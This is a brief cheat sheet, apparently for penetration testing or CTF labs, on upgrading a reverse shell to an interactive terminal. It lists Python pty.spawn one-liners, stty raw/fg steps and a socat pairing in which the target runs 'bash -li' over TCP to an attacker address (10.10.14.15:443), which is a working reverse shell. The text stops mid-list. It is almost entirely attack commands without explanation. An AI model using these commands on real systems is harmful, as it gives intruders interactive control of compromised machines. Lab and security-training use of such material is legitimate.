Interactive Upgrade

Python

python -c 'import pty; pty.spawn("/bin/bash")'
/usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'

Python3

python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c '__import__("pty").spawn("/bin/bash")'

Full Upgrade

python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + z
stty raw -echo; fg
export TERM=xterm
# local terminal
stty -a
# remote terminal 
stty cols=xx rows=xx

Bash

SHELL=/bin/bash script -q /dev/null

SOCAT

attacker host

socat file:`tty`,raw,echo=0 tcp-listen:443

target Host

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.15:443

Second Method

python -c 'import pty; pty.spawn("/bin/bash")'
ctrl+z

• in a local terminal

echo $TERM
stty -a

• Set TTY to raw

stty raw -echo

• Foreground the shell

fg

• Reinitialize terminal

reset

• Set shell terminal type
